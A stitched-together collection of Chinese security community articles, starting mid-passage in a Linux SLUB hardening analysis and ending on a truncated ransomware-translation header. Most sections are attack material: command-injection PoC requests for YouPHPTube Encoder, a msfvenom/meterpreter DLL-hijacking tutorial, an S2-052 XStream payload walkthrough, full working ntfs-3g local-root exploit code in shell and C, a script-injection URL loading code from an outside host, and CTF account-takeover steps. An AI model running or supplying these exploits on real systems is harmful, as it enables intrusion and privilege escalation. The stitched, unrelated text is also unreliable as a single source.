for (i = count - 1; i > 0; i--) {
rand = prandom_u32_state(state);
rand %= (i + 1);
swap(list[i], list[rand]);
}
}
然后在每次申请新的slab 的时候，会调用`shuffle_freelist` 函数，根据`random_seq` 来把 `freelist`
链表的顺序打乱，这样内存申请的object 后，下一个可以申请的object的地址也就变的不可预测。
cur = next_freelist_entry(s, page, &pos, start, page_limit,
freelist_count);
cur = setup_object(s, page, cur);
page->freelist = cur;
for (idx = 1; idx < page->objects; idx++) {
next = next_freelist_entry(s, page, &pos, start, page_limit,
freelist_count);
next = setup_object(s, page, next);
set_freepointer(s, cur, next);
cur = next;
}
set_freepointer(s, cur, NULL);
同样的，我们调试一下看看实际的运行效果, 程序运行 后的slab状态如下，7个free object 以及一个在partial 链表上
不断调kmalloc 把 free object 消耗完, 再次kmalloc 就会重新分配一个 slab
可以看到我们kmalloc得到的是`0xffff88800d7df800` 这个地址， 接着下一个是`0xffff88800d7dfc00`,
然后就变成了`0xffff88800d7de000`,并不是连续的，仔细看我们还可以发现其实`0xffff88800d7df800-0x1800`
和`0xffff88800d7dfc00-0x1c00`结果是一样的, 和`random_seq` 的取值关联上了。
## 小结
我们主要分析了Linux
slub分配器上的两种安全加固，默认情况下这两个机制都会开启。虽然两个机制都不是很复杂，但是加上之后，内核slab溢出等内存相关的漏洞利用难度就会加大很多，对系统的安全防护还是有很大作用的。
## reference
<https://my.oschina.net/fileoptions/blog/1630346> | 社区文章 |
## 前言
近日，思科Talos漏洞报告指出，YouPHPTube Encoder应用存在多处命令注入漏洞。CVE编号分别为CVE-2019-5127 /
CVE-2019-5128 / CVE-2019-5129
## 漏洞描述
YouPHPTube是一个开源的视频共享网站应用。使用YouPHPTube，用户可以创建自己的视频共享网站，YouPHPTube
将帮助用户导入和编码来自Youtube，Vimeo 等其他网站的视频，用户可以直接在自己的网站上进行分享。
YouPHPTube
Encoder是YouPHPTube的编码器插件，该插件可在YouPHPTube中提供编码器功能。使用者在自己的服务器上安装并使用YouPHPTube
Encoder以取代第三方公共编码器服务器，可以更快速便捷的编码自己的视频，并且还可以使用私有方式对自己的视频进行编码
在YouPHPTube Encoder2.3中，存在无需身份验证的命令注入漏洞。攻击者可以发送包含特定参数的Web请求来触发这些漏洞。
## 漏洞分析
### ffmpeg
YouPHPTube-Encoder对视频进行处理的核心部分是使用ffmpeg，本次三个漏洞的产生，也是因为YouPHPTube-Encoder底层在执行ffmpeg命令时，没有进行参数过滤导致的。
FFmpeg是一套可以用来记录、转换数字音频、视频，并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec，为了保证高可移植性和编解码质量，libavcodec里很多code都是从头开发的。
ffmpeg下载地址:
<http://ffmpeg.org/download.html>
FFmpeg使用方式
使用案例：
从视频中截取一张352x240尺寸大小的，格式为jpg的图片
ffmpeg -i test.asf -y -f image2 -t 0.001 -s 352x240 a.jpg
### CVE-2019-5127
首先来看下CVE-2019-5127
根据cve描述，可以确定漏洞存在的位置：\objects\getImage.php
存在漏洞的参数：base64Url
跟入getImage.php
位于getImage.php文件25行处，可见从GET请求中读取base64Url参数，并将其base64解码，随后赋值给url变量，这里的base64Url参数便是CVE描述中所说的存在漏洞的参数
通过GET请求中format参数的不同，选择不同的if分支进行视频处理
我们以format参数值为png举例，如上图红框处
ffmpeg -i {$url} -f image2 -s 400x225 -vframes 1 -y {$destination}
把视频的前1帧转换成一张400x225尺寸大小的，格式为jpg的图片
，待转换的视频地址由$url变量值提供。这里的$url值可以通过GET变量传入，而未经过任何过滤
$exec变量在拼接完成后，在后文被执行
如上图可见，$exec变量被拼接后传递给$cmd
程序通过exec方法将$cmd变量中的内容执行
由于程序未使用escapeshellage或是escapeshellcmd进行过滤，导致远程代码执行漏洞的产生
#### POC
利用如下poc，即可对系统进行测试
GET /YouPHPTube-Encoder/objects/getImage.php?base64Url=
YGVjaG8gdGVzdCB8IHRlZSAtYSBrdW1hbW9uLmZ1bmA=&format=png
### CVE-2019-5128
接下来看下CVE-2019-5128
根据cve描述，可以确定漏洞存在的位置：\objects\getImageMP4.php
存在漏洞的参数：base64Url
getImageMP4.php
存在问题的参数仍然是base64Url，如上图
同上一个CVE类似，最终未经过滤，被拼接语句执行
#### POC
利用如下poc，即可对系统进行测试
GET
/YouPHPTube-Encoder/objects/getImageMP4.php?base64Url=YGVjaG8gMTIzIHwgdGVlIC1hIHRoaXNzeXN0ZW1oYXZlYmVlbmV4cGxvaXRlZDEyMzRg&format=jpg
### CVE-2019-5129
最后看下CVE-2019-5129
根据cve描述，可以确定漏洞存在的位置：\objects\ getSpiritsFromVideo.php
存在漏洞的参数：base64Url
getSpiritsFromVideo.php
存在问题的参数为base64Url，如上图
拼接命令，在未经过滤的情况下，通过exec执行命令
#### POC
利用如下poc，即可对系统进行测试
/YouPHPTube-Encoder/objects/getSpiritsFromVideo.php?base64Url=YGVjaG8gMTIzIHwgdGVlIC1hIHRoaXNzeXN0ZW1oYXZlYmVlbmV4cGxvaXRlZDEyMzRg&format=jpg
## 修复：
官方暂目前仍未修复以上漏洞 | 社区文章 |
# DLL劫持攻击指南
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://null-byte.wonderhowto.com/how-to/dll-hijacking-tutorial-0167466/>
译文仅供参考，具体内容表达以及含义原文为准。
DLL(Dynamic Link
Library)文件为动态链接库文件，又称“应用程序拓展”，是软件文件类型。在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件，一个DLL文件也可能被不同的应用程序使用，这样的DLL文件被称为共享DLL文件。
DLL劫持是一种漏洞，这个漏洞存在于所有版本的Windows操作系统之中。当用户进行了非法操作时，就有可能触发这个漏洞。很多人认为，这是Windows操作系统的一个功能，而非一个漏洞。因为这一机制是由微软公司专门设计出来的。
简单来说，你可以创建一个自定义的恶意dll文件，并将这个文件与一个正常的文件一同放在一个目录下。当这个正常的文件被一个存在漏洞的应用程序打开之后，你自定义的dll文件将会被加载，你嵌入其中的代码将会被执行。我们必须针对每一款存在漏洞的应用程序来指定这种恶意dll文件专用的文件名。别担心，我们只要使用任何一款调试工具就可以轻易完成这一步操作。
除此之外，我还在文章下方提供了一些参考文章以及演示视频，如果你真的想了解有关dll文件的详细信息，请查看这些资料。
那么，让我们来看看这个“功能”到底能给我们带来什么意想不到的收获！
**第一步：DLL Hijacking Auditor（DLL劫持审计器）**
首先，我们需要使用到的是DLL劫持审计程序，这个程序是DLL劫持审计套件（由著名黑客HD
Moore开发）的最新版本。用户可以通过点击下列地址来获取程序的下载页面：[http://securityxploded.com/dllhijackauditor.php](http://securityxploded.com/dllhijackauditor.php)
我将会对Cool Edit Pro2（听起来像是一款编辑软件）进行扫描和检测，下图显示的是我的扫描过程以及结果的相关截图：
（请注意：我在网络上并没有找到有关该程序漏洞的任何信息）
**第二步：使用Msfvenom创建恶意DLL文件**
既然我们已经知道了coolburn.dll中是存在漏洞的，那么我们就可以使用msfvenom来创建meterpreter的一个dll有效载荷。
现在我们的coolburn.dll文件已经制作完成了，我们将它放入Cool Edit Pro的文件夹中。
**第三步：加载应用程序和Meterpreter**
在我们设置完成所有的handler之后，我们双击应用程序图标（coolpro2.exe）并启动它。
**第四步：这是漏洞还是“功能“？**
**第五步：链接以及演示视频**
MSDN页面：
[http://msdn.microsoft.com/en-us/library/ms686203%28VS.85%29.aspx](http://msdn.microsoft.com/en-us/library/ms686203%28VS.85%29.aspx)
Corelan博客－提供了存在漏洞（DLL劫持）的应用程序列表（非官方）：
[http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/](http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/)
exploit-db网站－提供了存在漏洞（DLL劫持）的应用程序列表
[http://www.exploit-db.com/dll-hijacking-vulnerable-applications/](http://www.exploit-db.com/dll-hijacking-vulnerable-applications/)
通过DLL劫持来实现权限提升：
uTorrent的DLL劫持： | 社区文章 |
### Author：gyyyy@江南天安
# **S2-052复现过程**
根据漏洞作者博客中的描述，问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法，其中未对传入的值进行任何限制，在使用XStream反序列化转换成对象时，导致任意代码执行漏洞。
## **0x00 搭建环境**
直接部署struts-2.5.12-all中的struts2-rest-showcase项目即可，从下图可以看出，插件的默认配置支持xml扩展
运行看看，默认的xhtml扩展
转换成xml也成功，但是注意Content-Type需要改成application/xml类型
## **0x01 构造PoC**
用marshalsec（<https://github.com/mbechler/marshalsec）生成Payload，工具简单使用方式如下>
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
看看工具作者提供的paper，针对XStream支持很多种Payload，找一个Struts2也支持的即可
本文选择的是ImageIO，对应的gadget_type可以通过查看marshalsec的源码得到
生成Payload
## **0x02 复现验证** | 社区文章 |
## 0x00 ntfs-3g (Debian 9) - Privilege Escalation
* * *
最近研究了下CVE-2017-0358，Linux下的本地提权漏洞，记录下学习历程。最初是在exploit-db上发现该漏洞[ntfs-3g (Debian
9) - Privilege Escalation](https://www.exploit-db.com/exploits/41240/)，并附有EXP，在简单学习了FUSE、NTFS-3G等基础概念后尝试利用作者给出的EXP复现漏洞。EXP如下：
#!/bin/bash
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
echo "@ CVE-2017-0359, PoC by Kristian Erik Hermansen @"
echo "@ ntfs-3g local privilege escalation to root @"
echo "@ Credits to Google Project Zero @"
echo "@ Affects: Debian 9/8/7, Ubuntu, Gentoo, others @"
echo "@ Tested: Debian 9 (Stretch) @"
echo "@ Date: 2017-02-03 @"
echo "@ Link: https://goo.gl/A9I8Vq @"
echo "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
echo "[*] Gathering environment info ..."
cwd="$(pwd)"
un="$(uname -r)"
dlm="$(pwd)/lib/modules"
dkf="$(pwd)/kernel/fs"
echo "[*] Creating kernel hijack directories ..."
mkdir -p "${dlm}"
mkdir -p "${dkf}"
echo "[*] Forging symlinks ..."
ln -sf "${cwd}" "${dlm}/${un}"
ln -sf "${cwd}" "${dkf}/fuse"
ln -sf cve_2017_0358.ko fuse.ko
echo "[*] Pulling in deps ... "
echo "[*] Building kernel module ... "
cat << 'EOF' > cve_2017_0358.c
#include <linux/module.h>
MODULE_LICENSE("CC");
MODULE_AUTHOR("kristian erik hermansen <[email protected]>");
MODULE_DESCRIPTION("PoC for CVE-2017-0358 from Google Project Zero");
int init_module(void) {
printk(KERN_INFO "[!] Exploited CVE-2017-0358 successfully; may want to patch your system!\n");
char *envp[] = { "HOME=/tmp", NULL };
char *argv[] = { "/bin/sh", "-c", "/bin/cp /bin/sh /tmp/r00t; /bin/chmod u+s /tmp/r00t", NULL };
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
char *argvv[] = { "/bin/sh", "-c", "/sbin/rmmod cve_2017_0358", NULL };
call_usermodehelper(argv[0], argvv, envp, UMH_WAIT_EXEC);
return 0;
}
void cleanup_module(void) {
printk(KERN_INFO "[*] CVE-2017-0358 exploit unloading ...\n");
}
EOF
cat << 'EOF' > Makefile
obj-m += cve_2017_0358.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF
make 1>/dev/null 2>/dev/null || echo "[-] FAILED: your need make / build tools"
cp "/lib/modules/${un}/modules.dep.bin" . || echo "[-] FAILED: linux-image location non-default?"
MODPROBE_OPTIONS="-v -d ${cwd}" ntfs-3g /dev/null /dev/null 1>/dev/null 2>/dev/null
/tmp/r00t -c 'whoami' | egrep -q 'root' && echo "[+] SUCCESS: You have root. Don't be evil :)"
/tmp/r00t
疑惑的是无论如何测试，始终不成功，最后怀疑是`modprobe`函数的问题，查看[官方文档](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Deployment_Guide/sec-Setting_Module_Parameters.html)，给出如下解释：
> **The modprobe command silently succeeds with an exit status of 0 if it
> successfully loads the module, or the module is already loaded into the
> kernel.Thus, you must ensure that the module is not already loaded before
> attempting to load it with custom parameters. The modprobe command does not
> automatically reload the module, or alert you that it is already loaded.**
也就是说，无法解决在系统已加载FUSE模块的前提下重新加载FUSE，并使临时参数生效的问题。黔驴技穷，于是发邮件给作者，作（骗）者（子）赤果果的say：
**“need additional modification，you have to make me an offer”** ,shit...
（注：jannh已在[www.exploit-db.com](http://www.exploit-db.com/)上发布有效版本，[ntfs-3g -Unsanitized modprobe Environment Privilege Escalation](https://www.exploit-db.com/exploits/41356/)）
## 0x01 ntfs-3g: modprobe is executed with unsanitized environment
* * *
在经历过艰苦的search之后，终于发现了漏洞的真正作者project zero的jannh[(ntfs-3g: modprobe is executed
with unsanitized environment)](https://bugs.chromium.org/p/project-zero/issues/detail?id=1072)。
漏洞存在于NTFS-3G之中，该程序是由Tuxera公司开发并维护的开源项目，目的是为Linux提供NTFS分区的驱动程序，实现对NTFS文件系统的读写。该程序默认安装在Ubuntu等操作系统中，并且赋予了setuid的权限。作者解释到CVE-2017-0358的根源在于，NTFS-3G在调用`modprobe`时没有初始化环境变量，致使存在本地提权的风险。漏洞存在于`load_fuse_module
()`函数之中：
static fuse_fstype load_fuse_module(void)
{
int i;
struct stat st;
pid_t pid;
const char *cmd = "/sbin/modprobe";
struct timespec req = { 0, 100000000 }; /* 100 msec */
fuse_fstype fstype;
if (!stat(cmd, &st) && !geteuid()) {
pid = fork();
if (!pid) {
execl(cmd, cmd, "fuse", NULL);
_exit(1);
} else if (pid != -1)
waitpid(pid, NULL, 0);
}
for (i = 0; i < 10; i++) {
/*
* We sleep first because despite the detection of the loaded
* FUSE kernel module, fuse_mount() can still fail if it's not
* fully functional/initialized. Note, of course this is still
* unreliable but usually helps.
*/
nanosleep(&req, NULL);
fstype = get_fuse_fstype();
if (fstype != FSTYPE_NONE)
break;
}
return fstype;
}
当NTFS-3G被调用时，利用`get_fuse_fstype()`检测当前系统是否加载FUSE模块，若未加载，则利用`load_fuse_module()`中的`modprobe`，加载FUSE模块。
static fuse_fstype get_fuse_fstype(void)
{
char buf[256];
fuse_fstype fstype = FSTYPE_NONE;
FILE *f = fopen("/proc/filesystems", "r");
if (!f) {
ntfs_log_perror("Failed to open /proc/filesystems");
return FSTYPE_UNKNOWN;
}
while (fgets(buf, sizeof(buf), f)) {
if (strstr(buf, "fuseblk\n")) {
fstype = FSTYPE_FUSEBLK;
break;
}
if (strstr(buf, "fuse\n"))
fstype = FSTYPE_FUSE;
}
fclose(f);
return fstype;
}
问题在于，`modprobe`的设计初衷并不是运行在一个setuid的环境当中，而NTFS-3G却需要setuid的权限。在`modprobe`的man文档中明确指出：
> **The MODPROBE_OPTIONS environment variable can also be used to pass
> arguments to modprobe.**
因此，在一个尚未加载FUSE 的系统中，攻击者可以通过设置环境变量 **MODPROBE_OPTIONS "-C /tmp/evil_config -d
/tmp/evil_root"** ，强制`modprobe`加载恶意配置文件，导致攻击者具备加载任意代码到系统内核的能力。
在现实情况中，FUSE在大部分系统中已被作为内核的一部分，基本都处于已加载的状态，也就是文章伊始提到的问题。
jannh对这个问题给出了一种解决思路，通过耗尽系统范围内所有进程可以打开的文件句柄的数量 (/proc/sys/fs/file-max)，使得NTFS-3G在`fopen("/proc/filesystems", "r")`时异常，导致`get_fuse_fstype()`返回
**FSTYPE_UNKNOWN** ，在主函数中触发`load_fuse_module()`函数。
fstype = get_fuse_fstype();
err = NTFS_VOLUME_NO_PRIVILEGE;
if (restore_privs())
goto err_out;
if (fstype == FSTYPE_NONE || fstype == FSTYPE_UNKNOWN)
fstype = load_fuse_module();
create_dev_fuse();
if (drop_privs())
goto err_out;
## 0x02 Attack
jannh给出了[EXP](https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/41356.zip)，通过测试成功在Ubuntu Server 16.10、kali
4.3中实现提权，在Debian 8中测试失败。测试如下：（注：在VM中测试时，需要多CPU的支持）
user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
CC [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
LD [M] /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)
## 0x03 Code: Exploit.c
* * *
int main(void) {
/* prevent shell from backgrounding ntfs-3g when stopped */
pid_t initial_fork_child = fork();
if (initial_fork_child == -1)
err(1, "initial fork");
if (initial_fork_child != 0) {
int status;
if (waitpid(initial_fork_child, &status, 0) != initial_fork_child)
err(1, "waitpid");
execl("rootshell", "rootshell", NULL);
exit(0);
}
char buf[1000] = {0};
// Set up workspace with volume, mountpoint, modprobe config and module directory.
char template[] = "/tmp/ntfs_sploit.XXXXXX";
if (mkdtemp(template) == NULL)
err(1, "mkdtemp");
char volume[100], mountpoint[100], modprobe_confdir[100], modprobe_conffile[100];
sprintf(volume, "%s/volume", template);
sprintf(mountpoint, "%s/mountpoint", template);
sprintf(modprobe_confdir, "%s/modprobe.d", template);
sprintf(modprobe_conffile, "%s/sploit.conf", modprobe_confdir);
if (mkdir(volume, 0777) || mkdir(mountpoint, 0777) || mkdir(modprobe_confdir, 0777))
err(1, "mkdir");
int conffd = open(modprobe_conffile, O_WRONLY|O_CREAT, 0666);
if (conffd == -1)
err(1, "open modprobe config");
int suidfile_fd = open("rootshell", O_RDONLY);
if (suidfile_fd == -1)
err(1, "unable to open ./rootshell");
char modprobe_config[200];
sprintf(modprobe_config, "alias fuse rootmod\noptions rootmod suidfile_fd=%d\n", suidfile_fd);
if (write(conffd, modprobe_config, strlen(modprobe_config)) != strlen(modprobe_config))
errx(1, "modprobe config write failed");
close(conffd);
// module directory setup
char system_cmd[1000];
sprintf(system_cmd, "mkdir -p %s/lib/modules/$(uname -r) && cp rootmod.ko *.bin %s/lib/modules/$(uname -r)/",
template, template);
if (system(system_cmd))
errx(1, "shell command failed");
// Set up inotify watch for /proc/mounts.
// Note: /proc/mounts is a symlink to /proc/self/mounts, so
// the watch will only see accesses by this process.
int inotify_fd = inotify_init1(IN_CLOEXEC);
if (inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(inotify_fd, "/proc/mounts", IN_OPEN) == -1)
err(1, "unable to watch /proc/mounts");
// Set up inotify watch for /proc/filesystems.
// This can be used to detect whether we lost the race.
int fs_inotify_fd = inotify_init1(IN_CLOEXEC);
if (fs_inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(fs_inotify_fd, "/proc/filesystems", IN_OPEN) == -1)
err(1, "unable to watch /proc/filesystems");
// Set up inotify watch for /sbin/modprobe.
// This can be used to detect when we can release all our open files.
int modprobe_inotify_fd = inotify_init1(IN_CLOEXEC);
if (modprobe_inotify_fd == -1)
err(1, "unable to create inotify fd?");
if (inotify_add_watch(modprobe_inotify_fd, "/sbin/modprobe", IN_OPEN) == -1)
err(1, "unable to watch /sbin/modprobe");
int do_exec_pipe[2];
if (pipe2(do_exec_pipe, O_CLOEXEC))
err(1, "pipe");
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child != 0) {
if (read(do_exec_pipe[0], buf, 1) != 1)
errx(1, "pipe read failed");
char modprobe_opts[300];
sprintf(modprobe_opts, "-C %s -d %s", modprobe_confdir, template);
setenv("MODPROBE_OPTIONS", modprobe_opts, 1);
execlp("ntfs-3g", "ntfs-3g", volume, mountpoint, NULL);
}
child = getpid();
// Now launch ntfs-3g and wait until it opens /proc/mounts
if (write(do_exec_pipe[1], buf, 1) != 1)
errx(1, "pipe write failed");
if (read(inotify_fd, buf, sizeof(buf)) <= 0)
errx(1, "inotify read failed");
if (kill(getppid(), SIGSTOP))
err(1, "can't stop setuid parent");
// Check whether we won the main race.
struct pollfd poll_fds[1] = {{
.fd = fs_inotify_fd,
.events = POLLIN
}};
int poll_res = poll(poll_fds, 1, 100);
if (poll_res == -1)
err(1, "poll");
if (poll_res == 1) {
puts("looks like we lost the race");
if (kill(getppid(), SIGKILL))
perror("SIGKILL after lost race");
char rm_cmd[100];
sprintf(rm_cmd, "rm -rf %s", template);
system(rm_cmd);
exit(1);
}
puts("looks like we won the race");
// Open as many files as possible. Whenever we have
// a bunch of open files, move them into a new process.
int total_open_files = 0;
while (1) {
#define LIMIT 500
int open_files[LIMIT];
bool reached_limit = false;
int n_open_files;
for (n_open_files = 0; n_open_files < LIMIT; n_open_files++) {
open_files[n_open_files] = eventfd(0, 0);
if (open_files[n_open_files] == -1) {
if (errno != ENFILE)
err(1, "eventfd() failed");
printf("got ENFILE at %d total\n", total_open_files);
reached_limit = true;
break;
}
total_open_files++;
}
pid_t fd_stasher_child = fork();
if (fd_stasher_child == -1)
err(1, "fork (for eventfd holder)");
if (fd_stasher_child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
// close PR_SET_PDEATHSIG race window
if (getppid() != child) raise(SIGKILL);
while (1) pause();
}
for (int i = 0; i < n_open_files; i++)
close(open_files[i]);
if (reached_limit)
break;
}
// Wake up ntfs-3g and keep allocating files, then free up
// the files as soon as we're reasonably certain that either
// modprobe was spawned or the attack failed.
if (kill(getppid(), SIGCONT))
err(1, "SIGCONT");
time_t start_time = time(NULL);
while (1) {
for (int i=0; i<1000; i++) {
int efd = eventfd(0, 0);
if (efd == -1 && errno != ENFILE)
err(1, "gapfiller eventfd() failed unexpectedly");
}
struct pollfd modprobe_poll_fds[1] = {{
.fd = modprobe_inotify_fd,
.events = POLLIN
}};
int modprobe_poll_res = poll(modprobe_poll_fds, 1, 0);
if (modprobe_poll_res == -1)
err(1, "poll");
if (modprobe_poll_res == 1) {
puts("yay, modprobe ran!");
exit(0);
}
if (time(NULL) > start_time + 3) {
puts("modprobe didn't run?");
exit(1);
}
}
}
## 0x04 补丁代码，`load_fuse_module()`函数
* * *
<http://seclists.org/oss-sec/2017/q1/307>
struct stat st;
pid_t pid;
const char *cmd = "/sbin/modprobe";
+ char *env = (char*)NULL;
struct timespec req = { 0, 100000000 }; /* 100 msec */
fuse_fstype fstype;
if (!stat(cmd, &st) && !geteuid()) {
pid = fork();
if (!pid) {
- execl(cmd, cmd, "fuse", NULL);
+ execle(cmd, cmd, "fuse", NULL, &env);
_exit(1);
} else if (pid != -1)
waitpid(pid, NULL, 0);
精韧不怠,日进有功 | 社区文章 |
## 写在前面
本案例写于6月30日（HW收尾阶段），当时本想着发出来。结果忙着忙着就忘了…
今天看到先知社区上有写一篇也是关于QQ空间恶意跳转，感觉他写的这块和我碰上的有些差异，故拿出来说一说~
## 分析
该恶意链接会以这种方式传播，使人迫不及待的点击进去……
以下是点进后出发的payload：
http://open.qzone.qq.com/url_check?url=https%3A%2F%2Fweibo.cn%2Fsinaurl%3F_wv%3D1027%26cmd%3Dplay%26u%3Dhttp%253A%252F%252Fsubdomain.sogou.com%252Fct%253Fid%253D1025611%2526h%253D333%2526w%253D33336%2526fv%253D32%2526if%253D16%2526sohuurl%253Dhttps%25253A%25252F%25252Fnews.china.com%25252Ft_we1561734359ZWl0ZQ.html%2526bs%253D1423%252C794%252522%257D%257D%25250a%253Beval%2528atob%2528%252522ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vbS5qcXVlcnkua2ltOjgwOTAvd2ViL2lmLnBocD8xMjMnPjwvc2NyaXB0PiIp%252522%2529%2529%253B%25250aif%2528O%2529%257Bif%2528B%2529%257B%2525221%2526tmp_cdif%253D0%2526mi%253D0%2526m%253DMTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA%2526ex%253D%2526glx%253D0%2526r%253D1561734359%2526business%253D%2523123&cmd=play&_wv=2098179#123
这里有url编码，经过美化我们可以得到：
http://open.qzone.qq.com/url_check?url=https://weibo.cn/sinaurl?_wv=1027&cmd=play&u=http://subdomain.sogou.com/ct?id=1025611&h=333&w=33336&fv=32&if=16&sohuurl=https%3A%2F%2Fnews.china.com%2Ft_we1561734359ZWl0ZQ.html&bs=1423,794%22}}%0a;eval(atob("document.write("<script src='http://m.jquery.kim:8090/web/if.php?123'></script>")"));%0aif(O){if(B){%221&tmp_cdif=0&mi=0&m=MTU1OTQwMzcwMV9wcmV0dHkgZG9nXzEwMjU2MTEA&ex=&glx=0&r=1561734359&business=#123&cmd=play&_wv=2098179#123
(这里搜狗的URL我就不公布了，我今天看发现这个漏洞还在… SRC注册不上也交不了.sad)
其实到这一步大部分人就可以分析出来结果了…为了方便展示我给大家写一个跳转流程图。
跳转过程即为：QQ空间的urlcheck => 微博链接分享 => 搜狗某站 。
在本站下，存在一处js代码注入的地方（希望各位师傅指点一下这个应该叫什么，我觉得像XSS又觉得不像…）
可控点即为bs，通过抓包分析，我们可以发现在bs输入的内容未经过滤直接拼接到js代码中，相当于闭合字符串后，eval运行了自定义的一段js代码，并且闭合后续部分，整个攻击链就这么完成了。
P.S: 对于该url下为什么要有sohuurl，根据我自己分析应该是网页的要求，没有这个url，后端就不会处理提交的参数。
## 传播利用
说实话，当时分析到这一步我也有点卡壳，因为攻击者利用的是php后端，你直接去访问这个页面得到的结果如下，我个人认为是通过检测referer或者UA，判断你的来源（电脑点进来，或者手机端）。只要有一个条件不满足，就直接跳转到腾讯的禁止访问页面（<https://c.qq.com/ios.html>)
，这里和下图(Foutome)url没有任何关系，该参数是当你点申诉时会自动给你填上的参数，你url换成baidu也是停止访问。（这个挺有意思，给你一种错觉，把锅甩给另外一个网站）。
回到正题，我个人推断还是在空间的某个地方存在CSRF利用，导致转发这种恶意链接。至于是哪个位置我也没有去钻研… 希望有师傅发现了可以提交一波。
## 后话
后来也找了一波这个网站的拥有者，估计也是用的黑户，得到的信息也仅限下方所示。
这方面存在的漏洞虽然很有趣，但是也是目前未来安全研究的一个重点问题。举个例子，A-B-C，B是A的白名单，C又是B的白名单，当C拉了跨(即存在漏洞）的时候，这就会导致A和B同时遭受到风险。攻击者可以利用这个白名单链让本来不存在安全风险的网站再次受到威胁。
如果想学习一波的话也可以看下其他的文章，其实大体思路都很像，关键在于组合利用。
<https://xz.aliyun.com/t/6238>
<https://www.freebuf.com/vuls/75711.html> | 社区文章 |
# 7.综合关
## **1.渗透测试第一期**
url：<http://lab1.xseclab.com/base14_2d7aae2ae829d1d5f45c59e8046bbc54/>
进入忘记密码页面，右键查看源码，发现一个手机号
解题思路：通过给admin用户绑定13388758688手机号码，然后再进行忘记密码操作，拿到新密码就可以登录了
新注册一个用户，用户名111密码111
进入到绑定手机号的页面
抓包
抓取绑定的数据包，看下绑定过程中需要什么参数，可以看到有username，tel，vcode三个参数
这些数据都可以伪装。vcode通过go一次就可以获得，每次go都不一样，可以用这个验证码进行伪装
伪装数据，绑定成功
进行修改密码的操作，点击忘记密码
输入验证码点击提交，获得新密码是:908909b8166fd1bf68aff05300126254b4e64733
用admin账号进行登录，密码：908909b8166fd1bf68aff05300126254b4e64733
登录成功，获得key is yesBindphoneErrorGood
## **2.没有注入到底能不能绕过登录**
url：<http://lab1.xseclab.com/pentest3_307c0281537de1615673af8c1d54885a/>
目录扫描发现存在robots.txt文件
访问该文件，提示以管理员身份登录
弱口令爆破首页，发现弱口令test/test,登录成功后提示key在管理员界面
本题思路是要欺骗页面现在登陆的用户是admin
通过burp抓取登录包，账号：admin 密码：随便
修改访问文件为/myadminroot/，得到key is sdfas^%&^kjdsfha
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**原文链接：[NetWalker Ransomware: No Respite, No English
Required](https://labs.sentinelone.com/netwalker-ransomware-no-respite-no-english-required/ "NetWalker Ransomware: No Respite, No English Required")**
**译者：知道创宇404实验室翻译组**
